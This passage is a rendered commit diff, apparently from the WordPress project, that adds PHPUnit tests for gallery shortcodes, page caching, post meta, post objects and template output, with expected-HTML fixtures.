+                               <a href='http://example.com/2008/04/01/simple-gallery-test/dsc20050720_123726_27/' title='dsc20050720_123726_27'><img src="http://example.com/wp-content/uploads/2008/04/dsc20050720_123726_274.jpg" class="attachment-thumbnail" alt="" /></a>
+                       </dt></dl><dl class='gallery-item'>
+                       <dt class='gallery-icon'>
+                               <a href='http://example.com/2008/04/01/simple-gallery-test/dsc20050727_091048_22/' title='Title: Seedlings'><img src="http://example.com/wp-content/uploads/2008/04/dsc20050727_091048_224.jpg" class="attachment-thumbnail" alt="" /></a>
+                       </dt></dl><br style="clear: both" /><dl class='gallery-item'>
+                       <dt class='gallery-icon'>
+                               <a href='http://example.com/2008/04/01/simple-gallery-test/dsc20050726_083116_18/' title='dsc20050726_083116_18'><img src="http://example.com/wp-content/uploads/2008/04/dsc20050726_083116_184.jpg" class="attachment-thumbnail" alt="" /></a>
+                       </dt></dl>
+                       <br style='clear: both;' />
+               </div>
+
+<p>It&#8217;s the simplest form of the gallery tag.  All images are from the public domain site burningwell.org.</p>
+<p>The images have various combinations of titles, captions and descriptions.</p>
+EOF;
+               $this->assertEquals(strip_ws($expected), strip_ws($out));
+       }
+
+       function test_gallery_attributes() {
+               // make sure the gallery shortcode attributes are parsed correctly
+
+               $id = 575;
+               $post = get_post($id);
+               $this->assertNotNull($post, "get_post($id) could not find the post.");
+               $post->post_content = '[gallery columns="1" size="medium"]';
+               wp_update_post($post);
+
+               // permalink page
+               $this->go_to('/2008/04/01/simple-gallery-test/');
+               the_post();
+               // filtered output
+               $out = get_echo('the_content');
+
+               $expected = <<<EOF
+               <style type='text/css'>
+                       .gallery {
+                               margin: auto;
+                       }
+                       .gallery-item {
+                               float: left;
+                               margin-top: 10px;
+                               text-align: center;
+                               width: 100%;                    }
+                       .gallery img {
+                               border: 2px solid #cfcfcf;
+                       }
+                       .gallery-caption {
+                               margin-left: 0;
+                       }
+               </style>
+               <!-- see gallery_shortcode() in wp-includes/media.php -->
+               <div class='gallery'><dl class='gallery-item'>
+                       <dt class='gallery-icon'>
+                               <a href='http://example.com/?attachment_id=565' title='dsc20040724_152504_53'><img src="http://example.com/wp-content/uploads/2008/04/dsc20040724_152504_537.jpg" class="attachment-medium" alt="" /></a>
+                       </dt></dl><br style="clear: both" /><dl class='gallery-item'>
+                       <dt class='gallery-icon'>
+                               <a href='http://example.com/?attachment_id=566' title='canola'><img src="http://example.com/wp-content/uploads/2008/04/canola3.jpg" class="attachment-medium" alt="" /></a>
+                       </dt></dl><br style="clear: both" /><dl class='gallery-item'>
+                       <dt class='gallery-icon'>
+                               <a href='http://example.com/?attachment_id=567' title='dsc20050315_145007_13'><img src="http://example.com/wp-content/uploads/2008/04/dsc20050315_145007_134.jpg" class="attachment-medium" alt="" /></a>
+                       </dt></dl><br style="clear: both" /><dl class='gallery-item'>
+                       <dt class='gallery-icon'>
+                               <a href='http://example.com/?attachment_id=568' title='dsc20050604_133440_34'><img src="http://example.com/wp-content/uploads/2008/04/dsc20050604_133440_343.jpg" class="attachment-medium" alt="" /></a>
+                       </dt></dl><br style="clear: both" /><dl class='gallery-item'>
+                       <dt class='gallery-icon'>
+                               <a href='http://example.com/?attachment_id=569' title='dsc20050831_165238_33'><img src="http://example.com/wp-content/uploads/2008/04/dsc20050831_165238_333.jpg" class="attachment-medium" alt="" /></a>
+                       </dt></dl><br style="clear: both" /><dl class='gallery-item'>
+                       <dt class='gallery-icon'>
+                               <a href='http://example.com/?attachment_id=570' title='dsc20050901_105100_21'><img src="http://example.com/wp-content/uploads/2008/04/dsc20050901_105100_213.jpg" class="attachment-medium" alt="" /></a>
+                       </dt></dl><br style="clear: both" /><dl class='gallery-item'>
+                       <dt class='gallery-icon'>
+                               <a href='http://example.com/?attachment_id=571' title='dsc20050813_115856_5'><img src="http://example.com/wp-content/uploads/2008/04/dsc20050813_115856_54.jpg" class="attachment-medium" alt="" /></a>
+                       </dt></dl><br style="clear: both" /><dl class='gallery-item'>
+                       <dt class='gallery-icon'>
+                               <a href='http://example.com/?attachment_id=572' title='dsc20050720_123726_27'><img src="http://example.com/wp-content/uploads/2008/04/dsc20050720_123726_274.jpg" class="attachment-medium" alt="" /></a>
+                       </dt></dl><br style="clear: both" /><dl class='gallery-item'>
+                       <dt class='gallery-icon'>
+                               <a href='http://example.com/?attachment_id=573' title='Title: Seedlings'><img src="http://example.com/wp-content/uploads/2008/04/dsc20050727_091048_224.jpg" class="attachment-medium" alt="" /></a>
+                       </dt></dl><br style="clear: both" /><dl class='gallery-item'>
+                       <dt class='gallery-icon'>
+                               <a href='http://example.com/?attachment_id=574' title='dsc20050726_083116_18'><img src="http://example.com/wp-content/uploads/2008/04/dsc20050726_083116_184.jpg" class="attachment-medium" alt="" /></a>
+                       </dt></dl><br style="clear: both" />
+                       <br style='clear: both;' />
+               </div>
+
+EOF;
+               $this->assertEquals(strip_ws($expected), strip_ws($out));
+       }
+
+}
</ins></span></pre></div>
<a id="trunkteststestspostgetPagesphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/post/getPages.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/post/getPages.php                              (rev 0)
+++ trunk/tests/tests/post/getPages.php 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,120 @@
</span><ins>+<?php
+
+/**
+ * @group post
+ */
+
+class Tests_Post_getPages extends WP_UnitTestCase {
+       function setUp() {
+               parent::setUp();
+       }
+
+       /**
+        * @ticket 23167
+        */
+       function test_get_pages_cache() {
+               global $wpdb;
+
+               $this->factory->post->create_many( 15, array( 'post_type' => 'page' ) );
+               wp_cache_delete( 'last_changed', 'posts' );
+               $this->assertFalse( wp_cache_get( 'last_changed', 'posts' ) );
+
+               $pages = get_pages();
+               $this->assertEquals( 15, count( $pages ) );
+               $this->assertNotEmpty( $time1 = wp_cache_get( 'last_changed', 'posts' ) );
+               $num_queries = $wpdb->num_queries;
+               foreach ( $pages as $page )
+                       $this->assertInstanceOf( 'WP_Post', $page );
+
+               // Again. num_queries and last_changed should remain the same.
+               $pages = get_pages();
+               $this->assertEquals( 15, count( $pages ) );
+               $this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+               $this->assertEquals( $num_queries, $wpdb->num_queries );
+               foreach ( $pages as $page )
+                       $this->assertInstanceOf( 'WP_Post', $page );
+
+               // Again with different args. last_changed should not increment because of
+               // different args to get_pages(). num_queries should bump by 1.
+               $pages = get_pages( array( 'number' => 10 ) );
+               $this->assertEquals( 10, count( $pages ) );
+               $this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+               $this->assertEquals( $num_queries + 1, $wpdb->num_queries );
+               foreach ( $pages as $page )
+                       $this->assertInstanceOf( 'WP_Post', $page );
+
+               $num_queries = $wpdb->num_queries;
+
+               // Again. num_queries and last_changed should remain the same.
+               $pages = get_pages( array( 'number' => 10 ) );
+               $this->assertEquals( 10, count( $pages ) );
+               $this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+               $this->assertEquals( $num_queries, $wpdb->num_queries );
+               foreach ( $pages as $page )
+                       $this->assertInstanceOf( 'WP_Post', $page );
+
+               // Do the first query again. The interim queries should not affect it.
+               $pages = get_pages();
+               $this->assertEquals( 15, count( $pages ) );
+               $this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+               $this->assertEquals( $num_queries, $wpdb->num_queries );
+               foreach ( $pages as $page )
+                       $this->assertInstanceOf( 'WP_Post', $page );
+
+               // Force last_changed to increment.
+               clean_post_cache( $pages[0]->ID );
+               $this->assertNotEquals( $time1, $time2 = wp_cache_get( 'last_changed', 'posts' ) );
+
+               $num_queries = $wpdb->num_queries;
+
+               // last_changed bumped so num_queries should increment.
+               $pages = get_pages( array( 'number' => 10 ) );
+               $this->assertEquals( 10, count( $pages ) );
+               $this->assertEquals( $time2, wp_cache_get( 'last_changed', 'posts' ) );
+               $this->assertEquals( $num_queries + 1, $wpdb->num_queries );
+               foreach ( $pages as $page )
+                       $this->assertInstanceOf( 'WP_Post', $page );
+
+               $last_changed = wp_cache_get( 'last_changed', 'posts' );
+
+               // This should bump last_changed.
+               wp_delete_post( $pages[0]->ID );
+               $this->assertGreaterThan( $last_changed, wp_cache_get( 'last_changed', 'posts' ) );
+
+               $num_queries = $wpdb->num_queries;
+               $last_changed = wp_cache_get( 'last_changed', 'posts' );
+
+               // num_queries should bump after wp_delete_post() bumps last_changed.
+               $pages = get_pages();
+               $this->assertEquals( 14, count( $pages ) );
+               $this->assertEquals( $last_changed, wp_cache_get( 'last_changed', 'posts' ) );
+               $this->assertEquals( $num_queries + 1, $wpdb->num_queries );
+               foreach ( $pages as $page )
+                       $this->assertInstanceOf( 'WP_Post', $page );
+       }
+
+       /**
+        * @ticket 20376
+        */
+       function test_get_pages_meta() {
+               $posts = $this->factory->post->create_many( 3, array( 'post_type' => 'page' ) );
+               add_post_meta( $posts[0], 'some-meta-key', '0' );
+               add_post_meta( $posts[1], 'some-meta-key', '' );
+               add_post_meta( $posts[2], 'some-meta-key', '1' );
+
+               $this->assertEquals( 1, count( get_pages( array( 'meta_key' => 'some-meta-key', 'meta_value' => '0' ) ) ) );
+               $this->assertEquals( 1, count( get_pages( array( 'meta_key' => 'some-meta-key', 'meta_value' => '1' ) ) ) );
+               $this->assertEquals( 3, count( get_pages( array( 'meta_key' => 'some-meta-key' ) ) ) );
+       }
+
+       /**
+        * @ticket 22389
+        */
+       function test_wp_dropdown_pages() {
+               $posts = $this->factory->post->create_many( 5, array( 'post_type' => 'page' ) );
+
+               preg_match_all( '#<option#', wp_dropdown_pages( 'echo=0' ), $matches );
+
+               $this->assertEquals( 5, count( $matches[0] ) );
+       }
+}
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunkteststestspostmetaphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/post/meta.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/post/meta.php                          (rev 0)
+++ trunk/tests/tests/post/meta.php     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,246 @@
</span><ins>+<?php
+
+/**
+ * @group post
+ * @group meta
+ */
+class Tests_Post_Meta extends WP_UnitTestCase {
+       function setUp() {
+               parent::setUp();
+
+               $this->author = new WP_User( $this->factory->user->create( array( 'role' => 'editor' ) ) );
+
+               $post = array(
+                       'post_author' => $this->author->ID,
+                       'post_status' => 'publish',
+                       'post_content' => rand_str(),
+                       'post_title' => rand_str(),
+               );
+
+               // insert a post
+               $this->post_id = wp_insert_post($post);
+
+
+               $post = array(
+                       'post_author' => $this->author->ID,
+                       'post_status' => 'publish',
+                       'post_content' => rand_str(),
+                       'post_title' => rand_str(),
+               );
+
+               // insert a post
+               $this->post_id_2 = wp_insert_post($post);
+       }
+
+       function tearDown() {
+               parent::tearDown();
+               wp_delete_post($this->post_id);
+               wp_delete_post($this->post_id_2);
+       }
+
+       function test_unique_postmeta() {
+               // Add a unique post meta item
+               $this->assertInternalType( 'integer', add_post_meta($this->post_id, 'unique', 'value', true) );
+
+               // Check unique is enforced
+               $this->assertFalse(add_post_meta($this->post_id, 'unique', 'another value', true));
+
+               //Check it exists
+               $this->assertEquals('value', get_post_meta($this->post_id, 'unique', true));
+               $this->assertEquals(array('value'), get_post_meta($this->post_id, 'unique', false));
+
+               //Fail to delete the wrong value
+               $this->assertFalse(delete_post_meta($this->post_id, 'unique', 'wrong value'));
+
+               //Delete it
+               $this->assertTrue(delete_post_meta($this->post_id, 'unique', 'value'));
+
+               //Check it is deleted
+               $this->assertEquals('', get_post_meta($this->post_id, 'unique', true));
+               $this->assertEquals(array(), get_post_meta($this->post_id, 'unique', false));
+
+       }
+
+       function test_nonunique_postmeta() {
+               // Add two non unique post meta item
+               $this->assertInternalType( 'integer', add_post_meta($this->post_id, 'nonunique', 'value') );
+               $this->assertInternalType( 'integer', add_post_meta($this->post_id, 'nonunique', 'another value'));
+
+               //Check they exists
+               $this->assertEquals('value', get_post_meta($this->post_id, 'nonunique', true));
+               $this->assertEquals(array('value', 'another value'), get_post_meta($this->post_id, 'nonunique', false));
+
+               //Fail to delete the wrong value
+               $this->assertFalse(delete_post_meta($this->post_id, 'nonunique', 'wrong value'));
+
+               //Delete the first one
+               $this->assertTrue(delete_post_meta($this->post_id, 'nonunique', 'value'));
+
+               //Check the remainder exists
+               $this->assertEquals('another value', get_post_meta($this->post_id, 'nonunique', true));
+               $this->assertEquals(array('another value'), get_post_meta($this->post_id, 'nonunique', false));
+
+               //Add a third one
+               $this->assertInternalType( 'integer', add_post_meta($this->post_id, 'nonunique', 'someother value') );
+
+               //Check they exists
+               $expected = array(
+                       'someother value',
+                       'another value'
+               );
+               sort( $expected );
+               $this->assertTrue( in_array( get_post_meta( $this->post_id, 'nonunique', true ), $expected ) );
+               $actual = get_post_meta( $this->post_id, 'nonunique', false );
+               sort( $actual );
+               $this->assertEquals( $expected, $actual );
+
+               //Delete the lot
+               $this->assertTrue(delete_post_meta_by_key('nonunique'));
+       }
+
+       function test_update_post_meta() {
+               // Add a unique post meta item
+               $this->assertInternalType( 'integer', add_post_meta($this->post_id, 'unique_update', 'value', true) );
+
+               // Add two non unique post meta item
+               $this->assertInternalType( 'integer', add_post_meta($this->post_id, 'nonunique_update', 'value') );
+               $this->assertInternalType( 'integer', add_post_meta($this->post_id, 'nonunique_update', 'another value') );
+
+               //Check they exists
+               $this->assertEquals('value', get_post_meta($this->post_id, 'unique_update', true));
+               $this->assertEquals(array('value'), get_post_meta($this->post_id, 'unique_update', false));
+               $this->assertEquals('value', get_post_meta($this->post_id, 'nonunique_update', true));
+               $this->assertEquals(array('value', 'another value'), get_post_meta($this->post_id, 'nonunique_update', false));
+
+               // Update them
+               $this->assertTrue(update_post_meta($this->post_id, 'unique_update', 'new', 'value'));
+               $this->assertTrue(update_post_meta($this->post_id, 'nonunique_update', 'new', 'value'));
+               $this->assertTrue(update_post_meta($this->post_id, 'nonunique_update', 'another new', 'another value'));
+
+               //Check they updated
+               $this->assertEquals('new', get_post_meta($this->post_id, 'unique_update', true));
+               $this->assertEquals(array('new'), get_post_meta($this->post_id, 'unique_update', false));
+               $this->assertEquals('new', get_post_meta($this->post_id, 'nonunique_update', true));
+               $this->assertEquals(array('new', 'another new'), get_post_meta($this->post_id, 'nonunique_update', false));
+
+       }
+
+       function test_delete_post_meta() {
+               // Add a unique post meta item
+               $this->assertInternalType( 'integer', add_post_meta($this->post_id, 'unique_delete', 'value', true) );
+               $this->assertInternalType( 'integer', add_post_meta($this->post_id_2, 'unique_delete', 'value', true) );
+
+               //Check they exists
+               $this->assertEquals('value', get_post_meta($this->post_id, 'unique_delete', true));
+               $this->assertEquals('value', get_post_meta($this->post_id_2, 'unique_delete', true));
+
+               //Delete one of them
+               $this->assertTrue(delete_post_meta($this->post_id, 'unique_delete', 'value'));
+
+               //Check the other still exitsts
+               $this->assertEquals('value', get_post_meta($this->post_id_2, 'unique_delete', true));
+
+
+       }
+
+       function test_delete_post_meta_by_key() {
+               // Add a unique post meta item
+               $this->assertInternalType( 'integer', add_post_meta($this->post_id, 'unique_delete_by_key', 'value', true) );
+               $this->assertInternalType( 'integer', add_post_meta($this->post_id_2, 'unique_delete_by_key', 'value', true) );
+
+               //Check they exist
+               $this->assertEquals('value', get_post_meta($this->post_id, 'unique_delete_by_key', true));
+               $this->assertEquals('value', get_post_meta($this->post_id_2, 'unique_delete_by_key', true));
+
+               //Delete one of them
+               $this->assertTrue(delete_post_meta_by_key('unique_delete_by_key'));
+
+               //Check the other still exists
+               $this->assertEquals('', get_post_meta($this->post_id_2, 'unique_delete_by_key', true));
+               $this->assertEquals('', get_post_meta($this->post_id_2, 'unique_delete_by_key', true));
+       }
+
+       function test_get_post_meta_by_id() {
+               $mid = add_post_meta( $this->post_id, 'get_post_meta_by_key', 'get_post_meta_by_key_value', true );
+               $this->assertInternalType( 'integer', $mid );
+
+               $mobj = new stdClass;
+               $mobj->meta_id = $mid;
+               $mobj->post_id = $this->post_id;
+               $mobj->meta_key = 'get_post_meta_by_key';
+               $mobj->meta_value = 'get_post_meta_by_key_value';
+               $this->assertEquals( $mobj, get_post_meta_by_id( $mid ) );
+               delete_metadata_by_mid( 'post', $mid );
+
+               $mid = add_post_meta( $this->post_id, 'get_post_meta_by_key', array( 'foo', 'bar' ), true );
+               $this->assertInternalType( 'integer', $mid );
+               $mobj->meta_id = $mid;
+               $mobj->meta_value = array( 'foo', 'bar' );
+               $this->assertEquals( $mobj, get_post_meta_by_id( $mid ) );
+               delete_metadata_by_mid( 'post', $mid );
+       }
+
+       function test_delete_meta() {
+               $mid = add_post_meta( $this->post_id, 'delete_meta', 'delete_meta_value', true );
+               $this->assertInternalType( 'integer', $mid );
+
+               $this->assertTrue( delete_meta( $mid ) );
+               $this->assertFalse( get_metadata_by_mid( 'post', $mid ) );
+
+               $this->assertFalse( delete_meta( 123456789 ) );
+       }
+
+       function test_update_meta() {
+               // Add a unique post meta item
+               $this->assertInternalType( 'integer', $mid1 = add_post_meta($this->post_id, 'unique_update', 'value', true) );
+
+               // Add two non unique post meta item
+               $this->assertInternalType( 'integer', $mid2 = add_post_meta($this->post_id, 'nonunique_update', 'value') );
+               $this->assertInternalType( 'integer', $mid3 = add_post_meta($this->post_id, 'nonunique_update', 'another value') );
+
+               //Check they exist
+               $this->assertEquals('value', get_post_meta($this->post_id, 'unique_update', true));
+               $this->assertEquals(array('value'), get_post_meta($this->post_id, 'unique_update', false));
+               $this->assertEquals('value', get_post_meta($this->post_id, 'nonunique_update', true));
+               $this->assertEquals(array('value', 'another value'), get_post_meta($this->post_id, 'nonunique_update', false));
+
+               // Update them
+               $this->assertTrue( update_meta( $mid1, 'unique_update', 'new' ) );
+               $this->assertTrue( update_meta( $mid2, 'nonunique_update', 'new' ) );
+               $this->assertTrue( update_meta( $mid3, 'nonunique_update', 'another new' ) );
+
+               //Check they updated
+               $this->assertEquals('new', get_post_meta($this->post_id, 'unique_update', true));
+               $this->assertEquals(array('new'), get_post_meta($this->post_id, 'unique_update', false));
+               $this->assertEquals('new', get_post_meta($this->post_id, 'nonunique_update', true));
+               $this->assertEquals(array('new', 'another new'), get_post_meta($this->post_id, 'nonunique_update', false));
+
+               // Slashed update
+               $data = "'quote and \slash";
+               $this->assertTrue( update_meta( $mid1, 'unique_update', addslashes( $data ) ) );
+               $meta = get_metadata_by_mid( 'post', $mid1 );
+               $this->assertEquals( $data, $meta->meta_value );
+       }
+
+       /**
+        * @ticket 12860
+        */
+       function test_funky_post_meta() {
+               $classy = new StdClass();
+               $classy->ID = 1;
+               $classy->stringy = "I love slashes\\\\";
+               $funky_meta[] = $classy;
+
+               $classy = new StdClass();
+               $classy->ID = 2;
+               $classy->stringy = "I love slashes\\\\ more";
+               $funky_meta[] = $classy;
+
+               // Add a post meta item
+               $this->assertInternalType( 'integer', add_post_meta($this->post_id, 'test_funky_post_meta', $funky_meta, true) );
+
+               //Check they exists
+               $this->assertEquals($funky_meta, get_post_meta($this->post_id, 'test_funky_post_meta', true));
+
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestspostobjectsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/post/objects.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/post/objects.php                               (rev 0)
+++ trunk/tests/tests/post/objects.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,221 @@
</span><ins>+<?php
+
+/**
+ * @group post
+ */
+class Tests_Post_Objects extends WP_UnitTestCase {
+
+       function test_get_post() {
+               $id = $this->factory->post->create();
+
+               $post = get_post( $id );
+               $this->assertInstanceOf( 'WP_Post', $post );
+               $this->assertEquals( $id, $post->ID );
+               $this->assertTrue( isset( $post->ancestors ) );
+               $this->assertEquals( array(), $post->ancestors );
+
+               // Unset and then verify that the magic method fills the property again
+               unset( $post->ancestors );
+               $this->assertEquals( array(), $post->ancestors );
+
+               // Magic get should make meta accessible as properties
+               add_post_meta( $id, 'test', 'test' );
+               $this->assertEquals( 'test', get_post_meta( $id, 'test', true ) );
+               $this->assertEquals( 'test', $post->test );
+
+               // Make sure meta does not eclipse true properties
+               add_post_meta( $id, 'post_type', 'dummy' );
+               $this->assertEquals( 'dummy', get_post_meta( $id, 'post_type', true ) );
+               $this->assertEquals( 'post', $post->post_type );
+
+               // Excercise the output argument
+               $post = get_post( $id, ARRAY_A );
+               $this->assertInternalType( 'array', $post );
+               $this->assertEquals( 'post', $post[ 'post_type' ] );
+
+               $post = get_post( $id, ARRAY_N );
+               $this->assertInternalType( 'array', $post );
+               $this->assertFalse( isset( $post[ 'post_type' ] ) );
+               $this->assertTrue( in_array( 'post', $post ) );
+
+               $post = get_post( $id );
+               $post = get_post( $post, ARRAY_A );
+               $this->assertInternalType( 'array', $post );
+               $this->assertEquals( 'post', $post[ 'post_type' ] );
+               $this->assertEquals( $id, $post[ 'ID' ] );
+
+               // Should default to OBJECT when given invalid output argument
+               $post = get_post( $id, 'invalid-output-value' );
+               $this->assertInstanceOf( 'WP_Post', $post );
+               $this->assertEquals( $id, $post->ID );
+
+               // Make sure stdClass in $GLOBALS['post'] is handled
+               $post_std = $post->to_array();
+               $this->assertInternalType( 'array', $post_std );
+               $post_std = (object) $post_std;
+               $GLOBALS['post'] = $post_std;
+               $post = get_post( null );
+               $this->assertInstanceOf( 'WP_Post', $post );
+               $this->assertEquals( $id, $post->ID );
+               unset( $GLOBALS['post'] );
+
+               // If no global post and passing empty value, expect null.
+               $this->assertNull( get_post( null ) );
+               $this->assertNull( get_post( 0 ) );
+               $this->assertNull( get_post( '' ) );
+               $this->assertNull( get_post( false ) );
+       }
+
+       function test_get_post_ancestors() {
+               $parent_id = $this->factory->post->create();
+               $child_id = $this->factory->post->create();
+               $grandchild_id = $this->factory->post->create();
+               $updated = wp_update_post( array( 'ID' => $child_id, 'post_parent' => $parent_id ) );
+               $this->assertEquals( $updated, $child_id );
+               $updated = wp_update_post( array( 'ID' => $grandchild_id, 'post_parent' => $child_id ) );
+               $this->assertEquals( $updated, $grandchild_id );
+
+               $this->assertEquals( array( $parent_id ), get_post( $child_id )->ancestors );
+               $this->assertEquals( array( $parent_id ), get_post_ancestors( $child_id ) );
+               $this->assertEquals( array( $parent_id ), get_post_ancestors( get_post( $child_id ) ) );
+
+               $this->assertEquals( array( $child_id, $parent_id ), get_post( $grandchild_id )->ancestors );
+               $this->assertEquals( array( $child_id, $parent_id ), get_post_ancestors( $grandchild_id ) );
+               $this->assertEquals( array( $child_id, $parent_id ), get_post_ancestors( get_post( $grandchild_id ) ) );
+
+               $this->assertEquals( array(), get_post( $parent_id )->ancestors );
+               $this->assertEquals( array(), get_post_ancestors( $parent_id ) );
+               $this->assertEquals( array(), get_post_ancestors( get_post( $parent_id ) ) );
+       }
+
+       /**
+        * @ticket 22882
+        */
+       function test_get_post_ancestors_with_falsey_values() {
+               foreach ( array( null, 0, false, '0', '' ) as $post_id ) {
+                       $this->assertInternalType( 'array', get_post_ancestors( $post_id ) );
+                       $this->assertEquals( array(), get_post_ancestors( $post_id ) );
+               }
+       }
+
+       function test_get_post_category_property() {
+               $post_id = $this->factory->post->create();
+               $post = get_post( $post_id );
+
+               $this->assertInternalType( 'array', $post->post_category );
+               $this->assertEquals( 1, count( $post->post_category ) );
+               $this->assertEquals( get_option( 'default_category' ), $post->post_category[0] );
+               $term1 = wp_insert_term( 'Foo', 'category' );
+               $term2 = wp_insert_term( 'Bar', 'category' );
+               $term3 = wp_insert_term( 'Baz', 'category' );
+               wp_set_post_categories( $post_id, array( $term1['term_id'], $term2['term_id'], $term3['term_id'] ) );
+               $this->assertEquals( 3, count( $post->post_category ) );
+               $this->assertEquals( array( $term2['term_id'], $term3['term_id'], $term1['term_id'] ) , $post->post_category );
+
+               $post = get_post( $post_id, ARRAY_A );
+               $this->assertEquals( 3, count( $post['post_category'] ) );
+               $this->assertEquals( array( $term2['term_id'], $term3['term_id'], $term1['term_id'] ) , $post['post_category'] );
+       }
+
+       function test_get_tags_input_property() {
+               $post_id = $this->factory->post->create();
+               $post = get_post( $post_id );
+
+               $this->assertInternalType( 'array', $post->tags_input );
+               $this->assertEmpty( $post->tags_input );
+               wp_set_post_tags( $post_id, 'Foo, Bar, Baz' );
+               $this->assertInternalType( 'array', $post->tags_input );
+               $this->assertEquals( 3, count( $post->tags_input ) );
+               $this->assertEquals( array( 'Bar', 'Baz', 'Foo' ), $post->tags_input );
+
+               $post = get_post( $post_id, ARRAY_A );
+               $this->assertInternalType( 'array', $post['tags_input'] );
+               $this->assertEquals( 3, count( $post['tags_input'] ) );
+               $this->assertEquals( array( 'Bar', 'Baz', 'Foo' ), $post['tags_input'] );
+       }
+
+       function test_get_page_template_property() {
+               $post_id = $this->factory->post->create();
+               $post = get_post( $post_id );
+
+               $this->assertInternalType( 'string', $post->page_template );
+               $this->assertEmpty( $post->tags_input );
+               $template = get_post_meta( $post->ID, '_wp_page_template', true );
+               $this->assertEquals( $template, $post->page_template );
+               update_post_meta( $post_id, '_wp_page_template', 'foo.php' );
+               $template = get_post_meta( $post->ID, '_wp_page_template', true );
+               $this->assertEquals( 'foo.php', $template );
+               // The post is not a page so the template is still empty
+               $this->assertEquals( '', $post->page_template );
+
+               // Now the post is a page and should retrieve the template
+               wp_update_post( array( 'ID' => $post->ID, 'post_type' => 'page' ) );
+               $post = get_post( $post_id );
+               $this->assertEquals( $template, $post->page_template );
+       }
+
+       function test_get_post_filter() {
+               $post = get_post( $this->factory->post->create( array(
+                       'post_title' => "Mary's home"
+               ) ) );
+
+               $this->assertEquals( 'raw', $post->filter );
+               $this->assertInternalType( 'int', $post->post_parent );
+
+               $display_post = get_post( $post, OBJECT, 'js' );
+               $this->assertEquals( 'js', $display_post->filter );
+               $this->assertEquals( esc_js( "Mary's home" ), $display_post->post_title );
+
+               // Pass a js filtered WP_Post to get_post() with the filter set to raw.
+               // The post should be fetched from cache instead of using the passed object.
+               $raw_post = get_post( $display_post, OBJECT, 'raw' );
+               $this->assertEquals( 'raw', $raw_post->filter );
+               $this->assertNotEquals( esc_js( "Mary's home" ), $raw_post->post_title );
+
+               $raw_post->filter( 'js' );
+               $this->assertEquals( 'js', $post->filter );
+               $this->assertEquals( esc_js( "Mary's home" ), $raw_post->post_title );
+       }
+
+       function test_get_post_identity() {
+               $post = get_post( $this->factory->post->create() );
+
+               $post->foo = 'bar';
+
+               $this->assertEquals( 'bar', get_post( $post )->foo );
+               $this->assertEquals( 'bar', get_post( $post, OBJECT, 'display' )->foo );
+       }
+
+       function test_get_post_array() {
+               $id = $this->factory->post->create();
+
+               $post = get_post( $id, ARRAY_A );
+
+               $this->assertEquals( $id, $post['ID'] );
+               $this->assertInternalType( 'array', $post['ancestors'] );
+               $this->assertEquals( 'raw', $post['filter'] );
+       }
+
+       /**
+        * @ticket 22223
+        */
+       function test_get_post_cache() {
+               global $wpdb;
+
+               $id = $this->factory->post->create();
+               wp_cache_delete( $id, 'posts' );
+
+               // get_post( stdClass ) should not prime the cache
+               $post = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE ID = %d LIMIT 1", $id ) );
+               $post = get_post( $post );
+               $this->assertEmpty( wp_cache_get( $id, 'posts' ) );
+
+               // get_post( WP_Post ) should not prime the cache
+               get_post( $post );
+               $this->assertEmpty( wp_cache_get( $id, 'posts' ) );
+
+               // get_post( ID ) should prime the cache
+               get_post( $post->ID );
+               $this->assertNotEmpty( wp_cache_get( $id, 'posts' ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestspostoutputphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/post/output.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/post/output.php                                (rev 0)
+++ trunk/tests/tests/post/output.php   2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,174 @@
</span><ins>+<?php
+
+// test the output of post template tags etc
+
+/**
+ * @group post
+ * @group formatting
+ */
+class Tests_Post_Output extends WP_UnitTestCase {
+
+       function setUp() {
+               parent::setUp();
+               add_shortcode( 'dumptag', array( $this, '_shortcode_dumptag' ) );
+               add_shortcode( 'paragraph', array( $this, '_shortcode_paragraph' ) );
+       }
+
+       function tearDown() {
+               global $shortcode_tags;
+               unset( $shortcode_tags['dumptag'], $shortcode_tags['paragraph'] );
+               parent::tearDown();
+       }
+
+       function _shortcode_dumptag( $atts ) {
+               $out = '';
+               foreach ($atts as $k=>$v)
+                       $out .= "$k = $v\n";
+               return $out;
+       }
+
+       function _shortcode_paragraph( $atts, $content ) {
+               extract(shortcode_atts(array(
+                       'class' => 'graf',
+               ), $atts));
+               return "<p class='$class'>$content</p>\n";
+       }
+
+       function test_the_content() {
+               $post_content = <<<EOF
+<i>This is the excerpt.</i>
+<!--more-->
+This is the <b>body</b>.
+EOF;
+
+               $post_id = $this->factory->post->create( compact( 'post_content' ) );
+
+               $expected = <<<EOF
+<p><i>This is the excerpt.</i><br />
+<span id="more-{$post_id}"></span><br />
+This is the <b>body</b>.</p>
+EOF;
+
+               $this->go_to( get_permalink( $post_id ) );
+               $this->assertTrue( is_single() );
+               $this->assertTrue( have_posts() );
+               $this->assertNull( the_post() );
+
+               $this->assertEquals( strip_ws( $expected ), strip_ws( get_echo( 'the_content' ) ) );
+       }
+
+       function test_the_content_shortcode() {
+               $post_content = <<<EOF
+[dumptag foo="bar" baz="123"]
+
+[dumptag foo=123 baz=bar]
+
+[dumptag http://example.com]
+
+EOF;
+
+               $expected =<<<EOF
+foo = bar
+baz = 123
+foo = 123
+baz = bar
+0 = http://example.com
+
+EOF;
